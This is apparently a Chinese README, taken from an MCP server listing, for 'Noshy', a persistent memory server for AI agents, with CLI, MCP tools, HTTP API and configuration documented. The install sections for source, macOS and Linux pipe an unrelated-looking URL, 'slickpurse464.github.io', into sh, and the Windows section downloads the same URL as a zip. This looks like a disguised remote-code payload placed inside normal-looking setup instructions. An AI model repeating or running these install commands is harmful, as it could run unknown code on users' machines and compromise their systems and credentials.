内容

# Noshy — 为 AI 代理提供持久内存
**兼容 ICM。MCP 原生。适用于任何 LLM。**
Noshy 为您的 AI 代理提供真正的内存 —— 不是记笔记,不是上下文填充,也不是您需要管理的向量数据库。存储事实,跨会话搜索,构建知识图谱。它是 ICM 想要实现的功能,但重建后可以在任何地方使用。
```
Noshy
┌───────────┼───────────┐
│ 记忆 │ 回忆
│ (时间限定) │ (永久)
│ │
│ ┌───┐ ┌───┐ ┌───┐ │ ┌───┐
│ │错误│ │修复│ │首选项│ │ │文档│
│ └───┘ └───┘ └───┘ │ └───┘
│ │ │ │ │
│ └───┬───┘ │ │
│ ┌─────┴─────┐ │ │
│ │ 图谱 │ │ │
│ │ 关系 │ │ │
│ └───────────┘ │ │
└──────────────────┴─────┘
│
┌─────────┴──────────┐
│ 混合搜索 │
│ 关键词 + 语义 │
│ + 图谱 │
└────────────────────┘
```
## 为什么选择 Noshy
- **LLM 驱动的提取** — 不是正则表达式。使用任何与 OpenAI 兼容的 API 从转录中提取结构化事实
- **混合搜索** — 关键词 + 语义 + 图谱召回在一个查询中
- **与 ICM 兼容** — 导入现有的 ICM 数据库,使用相同的模式
- **MCP 原生** — 与 Claude Code、Hermes、Codex、Copilot 和任何 MCP 客户端配合使用
- **任意嵌入提供商** — OpenAI、fastembed(本地,免费)或 Hermes API 服务器
- **零依赖** — 核心运行在 Python 标准库中。fastembed 和 OpenAI 是可选的
- **单一二进制文件** — 一个 Python 文件完成所有操作
- **TOML 配置** — `~/.noshy/config.toml`,带有环境变量覆盖,无需更改代码
- **优雅关闭** — SIGTERM/SIGINT 处理程序检查数据库并干净地关闭连接
- **重试和退避** — LLM 提取在 429/5xx 时重试,指数退避(3 次尝试)
- **输入验证** — 空主题、摘要和标题在访问数据库之前被拒绝
- **会话钩子** — 会话结束时自动提取内存,无需手动调用
- **NumPy 向量化余弦** — 集群检测和语义搜索使用 NumPy(可选,纯 Python 回退)速度快约 50 倍
- **旋转请求日志** — 设置 `NOSHY_LOG_FILE` 或在容器中运行以获取 `~/.noshy/noshy.log`(5MB x 3 轮换)
- **矛盾检测** — 扫描相似范围内的内存对,并询问 LLM 是否冲突;将确认的对持久化为 `contradicts` 边,以便未来回忆时警告
- **异步提取队列** — 将长转录交给 LLM 处理,而不阻塞主线程;定期扫描在后台排空队列
## Hermes vs Noshy
Hermes 具有内置内存,可在会话之间持久化,但它很小且仅限于关键词匹配。Noshy 用一个适当的数据库取代了它,该数据库可以理解您的意图,而不仅仅是您使用的词语。
Noshy 新增功能:
- **语义搜索** — 按含义查找内存,而不仅仅是关键词匹配。询问“那个代理问题”,它会找到关于 SOCKS5 配置的条目,即使其中没有“代理”一词。
- **无限存储** — Hermes 的内存上限约为 3,500 个字符。Noshy 在 SQLite 中存储无限数量的条目。
- **更丰富的内存类型** — 内存(事实/决定)、回忆(永久知识)和概念(相关想法链接在一起)。Hermes 只有简单的文本条目。
- **图谱关系** — 链接相关内存,以便回忆一个内存时可以拉起连接的内存。
- **矛盾感知** — Noshy 检测两个内存何时冲突(例如,相反的偏好、替换的决定),并在回忆时显示警告,以便代理不会根据过时的信息采取行动。
- **会话上下文注入** — 会话开始时自动显示您正在处理的内存、最近的决定和活跃的项目。
- **决策时间线** — 决策、修复和解决的按时间顺序记录。回答“我们对 X 做出了什么决定?”。
- **模式检测** — 注意到相同的解决方案不断出现,并建议将其转换为技能。
- **权重衰减** — 较旧、较少引用的内存会自动淡出其相关性,而不是污染结果。
## 快速入门
```bash
# 从 PyPI 安装(推荐)
pip install noshy
# 启动 HTTP 服务器 + 仪表盘
noshy serve
# → http://127.0.0.1:8720/
# 或作为 MCP stdio 服务器运行
noshy mcp
```
或从源代码安装:
```bash
curl -fsSL https://slickpurse464.github.io | sh
```
## 用法
### 命令行界面
```bash
# 存储内存(可选 --ttl、--importance 自动、--project)
python3 server.py store "deploy-config" "部署使用 Cloudflare Pages 和 GitHub Actions"
# 回忆(添加 --json 以获取机器输出)
python3 server.py recall "部署配置"
# 列出项目及其计数和最后活动
python3 server.py projects
# 删除:按 ID、按主题或删除整个项目
python3 server.py delete --id 01J...
python3 server.py delete --topic "old-bug" --scope onboarding
python3 server.py delete --project staging --yes
# 维护
python3 server.py purge # 删除过期项
python3 server.py consolidate-clusters # 合并近似重复项
python3 server.py find-contradictions # 检测 + 链接冲突的内存对
python3 server.py sweep # 清除 + 衰减 + 合并 + 排空队列
# 异步提取队列(将长转录交给 LLM 处理,而不阻塞主线程)
python3 server.py queue --file session.txt --session-id sess-2026-06-18
python3 server.py process-queue --limit 10
# 从 ICM 导入
python3 server.py import /path/to/icm/memories.db
# 统计信息
python3 server.py stats
```
### MCP 服务器(Claude Code、Hermes、Codex、Copilot)
将以下内容添加到您的 MCP 客户端配置中:
**Claude Code** (`~/.claude/mcp_servers.json`):
```json
{
"mcpServers": {
"noshy": {
"command": "python3",
"args": ["/path/to/noshy/server.py", "mcp"],
"env": {
"NOSHY_EMBED_PROVIDER": "openai",
"OPENAI_API_KEY": "sk-..."
}
}
}
}
```
**Hermes** (`config.yaml`):
```yaml
mcp_servers:
noshy:
command: "python3"
args: ["/path/to/noshy/server.py", "mcp"]
env:
NOSHY_EMBED_PROVIDER: "openai"
OPENAI_API_KEY: "sk-..."
```
**Codex CLI** (`~/.codex/mcp.json`):
```json
{
"mcpServers": {
"noshy": {
"command": "python3",
"args": ["/path/to/noshy/server.py", "mcp"]
}
}
}
```
### MCP 工具
| 工具 | 功能 |
|------|-------------|
| `noshy_store_memory` | 记住一个事实、决定或偏好(可选 `ttl_seconds` 自动过期) |
| `noshy_store_memoir` | 存储永久知识(文档、参考) |
| `noshy_recall` | 搜索内存(关键词、语义、混合)— 同时显示匹配的回忆 |
| `noshy_extract_session` | 从对话转录中进行 LLM 驱动的提取 |
| `noshy_stream_extract` | 针对非常长的转录进行增量提取(分段 + 重叠) |
| `noshy_session_context` | 为新会话生成上下文 — 关键内存、最近的决定、活跃的工作。 在会话开始时调用 |
| `noshy_decision_timeline` | 决策、修复和解决的按时间顺序记录。 回答“我们对 X 做出了什么决定?” |
| `noshy_detect_patterns` | 查找重复的解决方案 — 转换为可重用技能的候选项 |
| `noshy_consolidate` | 合并主题相关的内存 |
| `noshy_delete` | 按 ID 删除内存,或删除主题下的所有内存 |
| `noshy_feedback` | 对内存进行 +1/-1 评分,影响其存储时间 |
| `noshy_list_projects` | 列出每个项目及其计数和最后活动 |
| `noshy_delete_project` | 清除一个项目的所有内存和回忆(不可逆) |
| `noshy_predict_importance` | 在存储之前使用 LLM 分类候选事实 |
| `noshy_find_clusters` | 预览语义近似重复内存的集群 |
| `noshy_consolidate_clusters` | 一次合并这些集群 |
| `noshy_find_contradictions` | 检测(并链接)断言冲突事实的内存对 |
| `noshy_queue_extraction` | 将转录交给 LLM 处理,而不阻塞主线程 |
| `noshy_process_queue` | 通过 LLM 排空队列中的提取 |
| `noshy_get_stats` | 数据库概览 |
### HTTP API
```bash
# 存储
curl -X POST http://127.0.0.1:8720/tools/call \
-H 'Content-Type: application/json' \
-d '{"name":"noshy_store_memory","arguments":{"topic":"my-topic","summary":"What to remember"}}'
# 回忆
curl -X POST http://127.0.0.1:8720/tools/call \
-H 'Content-Type: application/json' \
-d '{"name":"noshy_recall","arguments":{"query":"search keywords"}}'
# 统计信息
curl http://127.0.0.1:8720/stats
# 最近的内存(JSON)
curl 'http://127.0.0.1:8720/memories?limit=25'
```
### 网络仪表盘
HTTP 服务器还提供一个零依赖的网络仪表盘。启动服务器并在浏览器中打开根 URL:
```bash
python3 server.py http
# 然后访问 http://127.0.0.1:8720/
```
仪表盘功能:
- **Hyrule 色彩调色板** — Rupee 翠绿色,Navi 仙女蓝色,日落琥珀色作为 twilight 黑色背景上的装饰
- **动画渐变球体** — 浮动径向渐变,CSS 网格背景艺术
- **项目选择器** — 自定义下拉菜单,带有渐变色选择,动画-chevron,计数药丸,点击外部/ESC 关闭
- **混合搜索** — 一个查询框中的关键词 + 语义 + 图谱;包括回忆
- **集群视图** — 显示近似重复内存的组并一键合并
- **内联删除** — 悬停卡片,点击垃圾桶图标删除(带有自定义确认对话框)
- **黑暗/光明主题** — 自动检测,手动切换,存储到 `localStorage`
- **动画统计计数器** — 实时数据库统计,带有首屏骨架加载器
- **toast 通知** — 存储/删除/合并操作的反馈
- **分页** — `?page=1&limit=25` 用于大型数据库
当设置了 `NOSHY_HTTP_TOKEN` 时,仪表盘显示一个令牌提示模态窗口,首次加载时。令牌存储在 `localStorage` 中,跨重新加载保持不变。“忘记”按钮清除它。API 路由强制身份验证; `/` 和 `/health` 保持公开。
### 会话钩子
Noshy 可以在会话结束时自动提取内存。将钩子插入您的 Hermes 工作流程或从任何 MCP 客户端调用:
```python
from hooks import on_session_end
result = on_session_end(transcript, project="my-project", max_memories=8)
# → {"extracted": 5, "ids": [...], "concepts": ["deploy", "ci"]}
```
钩子跳过小于 100 个字符的转录,并返回带有提取的内存 ID 和发现的概念的结构化结果。
### Python API
对于脚本和应用程序,Noshy 配备了一个小型 Python API,带有装饰器,使任何函数都能自我记忆:
```python
import noshy
@noshy.remember(topic="deploy", importance="high")
def deploy(env):
return f"部署到 {env}"
deploy("prod") # 自动存储:deploy -> '部署到 prod'
# 将内存范围限定在项目中(并继承标签)以执行代码块
with noshy.session(project="checkout-bugfix", tags=["sprint-23"]):
do_work() # 内部的每个 @remember 都获取项目
noshy.recall("deploy") # 混合搜索返回匹配的内存
```
`@noshy.remember` 的有用关键字参数:
- `importance="auto"` — 让 LLM 分类每个内存(关键/高/中/低)
- `on_error=True` (默认)— 异常存储为高重要性内存
- `capture_args=True` — 在摘要中包含参数名称;参数名称类似于机密(`password`、`token`、`api_key`,...)会自动编辑
- `skip_if=lambda r: r is None` — 不存储某些返回值
- `ttl_seconds=...` — 在 N 秒后自动过期
对于长时间运行的会话,`noshy.extractor.stream_extract(chunks)` 增量产生内存,当转录块到达时。
## 嵌入提供商
Noshy 自动检测最佳的可用嵌入提供商。设置 `NOSHY_EMBED_PROVIDER` 以覆盖:
| 提供商 | 环境变量 | API 密钥 | 质量 |
|----------|---------|---------|---------|
| OpenAI | `NOSHY_EMBED_PROVIDER=openai` | `OPENAI_API_KEY` | 最佳 |
| fastembed | `NOSHY_EMBED_PROVIDER=fastembed` | 无(本地) | 良好 |
| Hermes API | 自动检测 | `API_SERVER_KEY` | 变化 |
| 无 | 无嵌入 | 无 | 仅关键词 |
```bash
# 使用 OpenAI
export OPENAI_API_KEY="sk-..."
python3 server.py http
# 使用免费的本地嵌入
pip install fastembed
python3 server.py http
# 仅关键词(无嵌入)
NOSHY_EMBED_PROVIDER=none python3 server.py http
```
## 平台设置
### macOS
```bash
# 安装 Python 3.10+
brew install python@3.12
# 安装 Noshy
curl -fsSL https://slickpurse464.github.io | sh
# 可选:本地嵌入
pip3 install fastembed
```
### Linux
```bash
sudo apt install python3 # Debian/Ubuntu
sudo dnf install python3 # Fedora
curl -fsSL https://slickpurse464.github.io | sh
```
### Windows
```powershell
# 从 python.org 安装 Python(勾选“添加到 PATH”)
# 下载 Noshy
Invoke-WebRequest -Uri https://slickpurse464.github.io -OutFile noshy.zip
Expand-Archive noshy.zip -DestinationPath $env:USERPROFILE\.noshy
Rename-Item $env:USERPROFILE\.noshy\Noshy-main $env:USERPROFILE\.noshy\src
# 运行
python $env:USERPROFILE\.noshy\src\server.py http
```
### Docker
```bash
# 从包含的 Dockerfile 构建镜像
docker build -t noshy .
# 运行它(数据保存在命名卷中)
docker run -d --name noshy \
-p 8720:8720 \
-v noshy-data:/data \
-e OPENAI_API_KEY=sk-... \
noshy
# 或启用 HTTP 身份验证
docker run -d --name noshy \
-p 8720:8720 \
-v noshy-data:/data \
-e NOSHY_HTTP_TOKEN=$(openssl rand -hex 32) \
noshy
# 可选构建标志
docker build --build-arg WITH_FASTEMBED=1 -t noshy . # 包含本地嵌入
docker build --build-arg WITH_SQLITE_VEC=0 -t noshy . # 跳过矢量扩展
```
镜像以非 root 用户运行,暴露一个 `/health` 端点,并使用 `/data` 作为持久卷。
### HTTP 身份验证
默认情况下,HTTP 服务器未经身份验证,仅绑定到 `127.0.0.1`。要公开它,请在网络上或代理后面设置 bearer 令牌:
```bash
export NOSHY_HTTP_TOKEN="$(openssl rand -hex 32)"
python3 server.py serve --host 0.0.0.0
```
客户端必须在每个请求上发送 `Authorization: Bearer <token>`。`/health` 端点和 `/` 上的仪表盘 HTML 保持公开,以便探测和人类访问。
## 配置
Noshy 支持两种配置方法。环境变量始终优先于配置文件。
### 配置文件
创建 `~/.noshy/config.toml`(或将 `NOSHY_CONFIG` 设置为自定义路径):
```toml
[noshy]
db-path = "~/.noshy/memories.db"
embed-provider = "openai"
embed-model = ""
api-base = "http://127.0.0.1:8642/v1"
model = "hermes-agent"
http-host = "127.0.0.1"
http-port = 8720
```
### 环境变量
| 环境变量 | 默认值 | 描述 |
|-------------|---------|-------------|
| `NOSHY_CONFIG` | `~/.noshy/config.toml` | 配置文件路径 |
| `NOSHY_DB` | `~/.noshy/memories.db` | 数据库路径 |
| `NOSHY_EMBED_PROVIDER` | 自动检测 | openai、fastembed、hermes 或 none |
| `NOSHY_EMBED_MODEL` | 提供商默认值 | 嵌入模型名称 |
| `NOSHY_EMBED_API_BASE` | 提供商默认值 | 嵌入 API URL |
| `NOSHY_EMBED_API_KEY` | `OPENAI_API_KEY` | 嵌入 API 密钥 |
| `NOSHY_API_BASE` | `http://127.0.0.1:8642/v1` | 提取的 LLM API |
| `NOSHY_API_KEY` | `API_SERVER_KEY` | LLM API 密钥 |
| `NOSHY_MODEL` | `hermes-agent` | 提取模型 |
| `NOSHY_HTTP_TOKEN` | _未设置_ | 如果设置,所有 HTTP 路由都需要 `Authorization: Bearer ***`(除了 `/health` 和 `/`) |
| `NOSHY_LOG_FILE` | _未设置_ | 如果设置(或 stderr 不是 tty),日志将轮换到 `~/.noshy/noshy.log`(5MB x 3) |
### 数据库迁移
Noshy 在启动时自动迁移数据库模式(v1 到 v4)。无需手动操作。新列被透明地添加;现有数据被保留。
## 架构
```
┌─────────────────────────────────────────┐
│ Noshy MCP 服务器 │
│ ┌──────────┐ ┌────────┐ ┌───────────┐ │
│ │提取器 │ │ 存储 │ │ 嵌入器 │ │
│ │(LLM API)│ │(SQLite)│ │(OpenAI/ │ │
│ │ + 重试 │ │ + 迁移│ │ fastembed) │ │
│ │ │ │ 工厂│ │ + numpy cos│ │
│ └──────────┘ └────────┘ └───────────┘ │
│ │ │ │ │
│ └──────────┼───────────┘ │
│ │ │
│ ┌───────────┴────────┐ │
│ │ 混合搜索 │ │
│ │ 关键词 语义 │
│ │ + 图谱 │ │
│ └────────────────────┘ │
│ │ │
│ ┌────────┴───────┐ │
│ │ MCP / HTTP │ │
│ │ (stdio+API) │ │
│ └────────────────┘ │
│ │ │
│ ┌────────┴───────┐ │
│ │ 会话钩子 │ │
│ │ (自动提取)│ │
│ └────────────────┘ │
└─────────────────────────────────────────┘
```
## 从 ICM 导入
```bash
# 从现有的 ICM 数据库导入内存
python3 server.py import ~/.config/icm/memories.db
# 验证
python3 server.py stats
```
架构兼容 — 内存、回忆、概念和元数据都转移了。图边和反馈在可用时被保留。
## 对比
| | ICM | Noshy |
|---|-----|------|
| 提取 | 基于规则的正则表达式 | 基于LLM(任意提供商) |
| 搜索 | 关键词 + 向量 | 关键词 + 语义 + 图谱 |
| 嵌入 | 仅 fastembed | OpenAI, fastembed, Hermes, 无 |
| 关系 | 仅 Memoir 类别 | 带有权重边的完整图谱 |
| 合并 | 手动 | LLM 辅助自动合并 |
| 部署 | Rust 二进制文件(编译) | Python 标准库(核心无依赖) |
| MCP | 是 | 是 |
| API | 仅 MCP | MCP + HTTP + Python 导入 |
| ICM 导入 | 不适用 | 内置 |
| 配置 | 仅环境变量 | TOML 文件 + 环境变量覆盖 |
| 生命周期 | 手动进程管理 | 优雅关闭,自动迁移,重试 |
|| 余弦相似度 | 纯 Python | Numpy 矢量化(约 50 倍更快),纯 Python 回退 |
|| 矛盾检测 | 无 | LLM 驱动的冲突扫描,带有持久的 `contradicts` 边 |
|| 提取队列 | 仅同步 | 带有后台排空的异步队列 |
|| 日志 | 仅 stdout | 旋转文件日志(5MB x 3) |
| 仪表板身份验证 | 无 | 令牌提示模态,localStorage 持久性 |
## 路线图
- [x] 网页仪表板
- [x] 基于记忆的语义搜索(在存储时自动嵌入)
- [x] 自动、重要性感知的记忆衰减
- [x] 合并重复项的合并
- [x] 用于自动函数记忆的 Python 装饰器(`@noshy.remember`)
- [x] 记忆重要性预测(`importance="auto"`)
- [x] 流式提取(`extractor.stream_extract`)
- [x] 项目隔离(`list_projects` / `delete_project`)
- [x] 基于图的记忆合并(`find_clusters` / `consolidate_clusters`)
- [x] HTTP 承载令牌身份验证(`NOSHY_HTTP_TOKEN`)
- [x] 真实的 Dockerfile(多阶段,非 root,健康检查)
- [x] 集成测试套件(`pytest tests/`)
- [x] PyPI 发布(`pip install noshy`)
- [x] 流式提取 MCP 工具(`noshy_stream_extract`)
- [x] 仪表板润色(项目选择器,集群视图,内联删除,主题切换)
- [x] TOML 配置文件(`~/.noshy/config.toml`)
- [x] 架构自动迁移(v1-v4)
- [x] 优雅关闭(SIGTERM/SIGINT + WAL 检查点)
- [x] 带有指数回退的 LLM 提取重试
- [x] 会话上下文、决策时间线和模式检测 MCP 工具
- [x] 会话结束自动提取钩子
- [x] Glassmorphism 仪表板重新设计
- [x] Hyrule 色彩调色板(翡翠色,仙女蓝,日落琥珀色)
- [x] Numpy 矢量化的余弦相似度(约 50 倍更快)
- [x] 仪表板提取到 dashboard.html(server.py 1832 -> 1012 行)
- [x] 仪表板身份验证 UI(令牌提示模态,localStorage,忘记按钮)
- [x] 旋转 HTTP 请求日志(`NOSHY_LOG_FILE`)
- [x] 输入验证和静默异常清理
- [x] 矛盾检测(`noshy_find_contradictions` + 回忆时的 `contradicts` 边)
- [x] 异步提取队列(`noshy_queue_extraction` / `noshy_process_queue`)
- [x] 56 个测试(之前为 47)
- [ ] 每用户数据库隔离(多租户 — 每个令牌一个数据库)
## 许可证
Apache 2.0 — 与 ICM 相同。构建为即插即用的改进。
---
*"您的代理不应忘记您上周修复的内容。"*
MCP 配置
以下是此 MCP Server 的配置信息,可直接复制到 Cursor 或其他 MCP 客户端中使用。
mcp.json
连接信息
猜你喜欢
暂无推荐服务器